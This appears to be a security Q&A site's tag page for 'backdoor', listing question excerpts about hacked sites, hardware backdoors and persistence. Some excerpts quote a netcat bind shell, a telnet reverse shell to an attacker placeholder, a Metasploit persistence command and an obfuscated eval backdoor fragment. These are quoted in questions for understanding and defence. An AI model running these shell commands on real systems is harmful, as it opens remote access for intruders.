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Questions tagged [backdoor]

A backdoor is a method of bypassing normal authentication, securing illegal remote access to a computer while attempting to remain undetected.

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1answer
136 views

Architecture dependency issue associated with malicious payloads

My question is regarding architectural restrictions associated with backdoor/bind/reverse tcp payloads used typically to gain shell through exploitation. In a situation where the target box ...
3
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1answer
3k views

Hacked site - encrypted code

Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files: http://...
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3answers
4k views

Disable Perl for some/most Linux users?

One of my server's web accounts got hacked a couple of times. Each time someone downloaded a Perl script via some phpBB forum and used the Perl script to do whatever they wanted to do (mostly connect ...
3
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4answers
3k views

What is the difference between a backdoor and a rootkit?

I was reading the "What is a rootkit ?" post and I'm confused about the difference between a rootkit and a backdoor. As I understood it, both : Are a piece of code written by the attacker and ...
3
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2answers
715 views

How do hard-wired backdoors work?

How can a vulnerability be hardwired? Just read this article, which got me thinking. Is there simply vulnerable software running on a piece of hardware that is read/write only or..?
3
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1answer
881 views

Backdoor.ASP.Ace.C keeps showing up and being removed by f-secure

Backdoor.ASP.Ace.C is being found and removed from: C:\Users[username]\AppData\Local\Temp[randomstring] We have recently found some malicious aspx files on our IIS server that we have studied and ...
3
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1answer
3k views

Could someone help me deobfuscate this malicious script code [duplicate]

Two months ago one of our Wordpress sites was infested through and through. This was at the same time I started working at this company. Our main platform is Plone, but I guess they did some on the ...
3
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1answer
238 views

protection from Backdoor hacks from disgruntled developer/ employee

I created a ecommerce site with a developer. He completed almost all his work but in the end we had some financial disagreements so our partnership ended in a bitter dispute. That developer threatened ...
3
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1answer
272 views

Can Windows Theme files (aero.msstyles) be sideloaded with spyware in their resources, specifically in UI scripts

Short version: topic Detailed version: I want to use a specific 3rd party theme for Windows. I'm already using an open source solution which I've compiled myself to disable Window's restriction on ...
3
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1answer
708 views

How does metasploit persistence work?

When we remote exploit a target with meterpreter, we can use the command run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP ...
3
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1answer
779 views

Persistent back door using Netcat

I have found the following command several times in one of the linux servers during an assessment: nc -l -p 3030 -e /bin/bash This enables a hacker to gain control over this sever via bash. By ...
3
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2answers
6k views

Gaining root access on Ubuntu 14.04 [closed]

I am taking a Computer Security class and I am supposed to harden my system really well but I am supposed to leave one "hard backdoor" for the adversary to gain root access. I have been trying to ...
3
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1answer
1k views

hparm -I /dev/sda does not report a Security section - should I be concerned?

I am in the habit of wiping new drives and for SSDs I use hdparm to perform an ATA secure erase. I just purchased two 44-pin PATA SSDs through an eBay seller in China and hdparm does not report a ...
3
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1answer
4k views

Run NetCat as bat file instead of exe

I need to run a netcat on a remote lab machine. I can execute remote commands through the browser with Administrator rights (because of the application vulnerability) but I don't have access to the ...
3
votes
1answer
210 views

Are IBM PowerPC CPUs free of the AMT issue seen with AMD and Intel?

Given the privacy and security risks associated with Intel's Management Engine and AMD's Platform Security Processor, are IBM PowerPC processors such as the POWER9 susceptible to similar hardware-...
3
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1answer
136 views

Are there known incidents of Linux malware coming from unofficial repositories?

Often there is a need to use unofficial Linux software repositories (e.g. media codecs, wireless card drivers etc.) and hence the need to decide whether to trust them. I am trying to figure out how ...
3
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1answer
185 views

Is it possible to build completely verifiable hardware?

Reproducible builds like they are used for Bitcoin, Tor or the Debian package repository aim at making sure that the binaries you install exactly equate the source code that they are supposed to be ...
3
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1answer
69 views

Is there reliable information on the prevalence of debug backdoors in software?

Developers sometimes forget to turn off the debug features of the software they ship: CWE-489 It is said here that About 20% of home routers have a backdoor in them, and 50% of industrial ...
3
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2answers
2k views

Would IT Security professionel people notice a backdoor in Windows 7 or SBS 2011 implemented by Microsoft? [closed]

I guess you have heard of Edward Snowden. Papers around the world published that the NSA invests much time, money and effort for a »full take« of the communication around the world. Given this, it ...
2
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2answers
674 views

Can AES-256 encrypted data be changed?

I have a file that supposedly contains AES-256 encrypted data. The file was created using a proprietary program that claims to use AES-256. I have tested decrypting the file with an open source ...
2
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2answers
133 views

Virus Removal Boot Disks — a few questions

I'm new to working with and using a backdoor/virus with a boot disk. Can they be mounted to a USB drive? What options are out there and what should I look for in one? Are they practical? Do they ...
2
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2answers
10k views

How did the hacker get access to my WordPress upload folder? [closed]

Yesterday I found out there is this http://pastebin.com/MRRny4Ht PHP file in my friends server. I want to know how was the hacker able to upload it there? I read the similar questions but couldn't ...
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4answers
2k views

Unauthenticated packages in debian

Yesterday I updated my debian server using: apt-get update && apt-get upgrade I received message that some of the packages cannot be authenticated being in a rush I hit yes to install ...
2
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1answer
544 views

Why do device vendors build-in backdoors when it can destroy the companys reputation? [closed]

As the title states: Why do large companies such as router developers intentionally build in backdoors into their product when it can completely destroy the company’s reputation and cause a major ...
2
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2answers
468 views

How do persistent reverse shells and other malware gain their persistancy?

I heard about persistent reverse shells, and how in theory, they can stay indefinitely on the target's system, and how they can connect back to the host when the target's machine boots up, but how do ...
2
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2answers
296 views

Is the site wrong about an ethical hacking question or am I?

Can you let me know if this site is crazy? or am I?
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3answers
13k views

How secure is VirtualBox for privacy/anonymity? [closed]

Is it possible that Oracle places backdoors in VirtualBox that compromise a user's privacy/anonymity? For example, is running Whonix through VirtualBox a secure set up if your host OS is unencrypted? ...
2
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1answer
127 views

What can be done to defend against acoustic keyboard evesdroping?

It is reasonably well established that it is possible to determine what one is typing based on keyboard sounds, and the difference between different keys (source). This provides a significant issue to ...
2
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1answer
355 views

How does this backdoor work?

I just found that one of my wordpress websites included backdoor (my guess). As I see now, the same file on server is different than original on my laptop drive. So I think my website is already ...
2
votes
1answer
249 views

Is the Ethereum blockchain truly a tamper-proof way to deploy distributed applications?

The Ethereum website says that it provides a "cryptographically secure, decentralized, tamper-proof network" on which applications written in the Solidity contract language could be deployed. (https://...
2
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1answer
7k views

How to check if your computer has a backdoor installed on it? [closed]

Just some time ago I had this unusual popup from Malwarebytes Anti-Malware (MBAM): I did a quick Google of the IP address and found this thread where the OP is complaining of MBAM blocking svchost....
2
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2answers
308 views

How to find injected code in SQL?

Recently one of my sites was hacked. The hacker used SQL injection to compromise the security. After getting SQL access he injected code in many places in the database. I cleaned up many of them. But ...
2
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2answers
90 views

Security and thumb drive [duplicate]

If my laptop is locked, can a thumb drive be able to still infect my computer, or create a backdoor, or any other security risk if it's plugged into it. If so what are some example
2
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1answer
58 views

Vulnerabilities of IT system due to hardware?

Is there any relation between specific hardware (like specific kind of CPU etc) or laptop manufacturing brands and the hacked environments run on? Can this be measured in any way like stolen data or ...
2
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1answer
567 views

How could a hacker access my Wordpress admin area?

I have two sites which appear to have been hacked. I checked the access logs and found these log entries: "GET / HTTP/1.1" 200 20213 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/...
2
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2answers
292 views

How might one verify that the POWER9 CPU does not contain an AMT-style subsystem?

Given that the IBM POWER9 CPU doesn't appear contain an AMT subsystem (like those seen in Intel and AMD CPUs), is there any way the absense of such a backdoor could be audited? For example, might a ...
2
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1answer
576 views

Tracking a backdoor by recording packets

I am by no means very bright when it comes to networking. But I know a bit. Let's say I suspect a backdoor is on my pc. To counter it I setup a device between the router and my pc to log everything. ...
2
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1answer
932 views

Reverse shell back door

Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ). telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> <...
2
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1answer
117 views

Did ZTE put a backdoor in my router? How can I remove it?

I have a ZTE router model ZXHN H198A. Recently, upon connecting to it with Telnet (with some default username-password, of course), I decided to go around the filesystem. Then I noticed that they ...
2
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1answer
116 views

What features would you use to detect a backdoor or a bot installation?

I was reading a document about logging and analysis. The document talks about statistical analysis and machine learning techniques to detect some attack scenarios. For instance, If you want to detect ...
2
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1answer
107 views

Can back doors be reasonably well hidden in end-to-end encrypted communication?

Supposing governments can hold secrets and no rogue employees exist, can a back door in an end-to-end communication protocol be kept secret and not be abused by criminals as well, as often supposed? ...
2
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2answers
106 views

DNS IP address auto reset

I have a unofficial Windows and i noticed that my internet connection gets reset. By taking a closer look at it, i found that the DNS server address is set to an IP in China. Any reason why this ...
2
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0answers
962 views

Backdooring vulnerable lighttpd installed on wireless AP [closed]

I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 is ...
1
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3answers
302 views

Ken Thompson's compiler hack

I have gone through Ken Thompson's compiler hack paper; can't we just go through the compiler's source code and check for any backdoor, what was the article's point? Can we be sure that there are no ...
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5answers
2k views

Site backdoor & eval()

I'm running a Joomla 1.7 site which was hacked today. Below script did the hack. eval((base64_decode("...
1
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4answers
428 views

How secure is it to use an open-source software [closed]

Is it possible for the developer of an open-source software to hide a backdoor without getting caught? Obviously open-source is superior to close-source when it comes to transparency, also I am aware ...
1
vote
1answer
170 views

How could the Chinese Communications Authority find a backdoor on my website?

I host a legacy HTTP website on my own hardware in China. It was attacked due to the Struts file upload flaw last month. But yesterday, Communications Authority in my province alarmed me, there is ...
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2answers
309 views

How should a backdoor be delivered? [closed]

I am wondering about the ways a backdoor could be delivered to someone and the advantages and disadvantages of the various ways. As a backdoor, I mean a script or payload that may be able to get a ...
1
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2answers
271 views

Encryption software trustworthy?

If you are downloading and using an encryption software, e. g. Veracrypt or Diskcryptor, how do you know if this software is not a fake one? Backdoored or other security holes? Assuming that such ...
1
vote
1answer
234 views

Malware, RAT's and backdoors

Is there any kind of malware or RAT that cannot be gotten rid of by a thorough wipe with DBAN, flashing the BIOS and re-installing OS? More importantly, if you've been ratted and did all these things, ...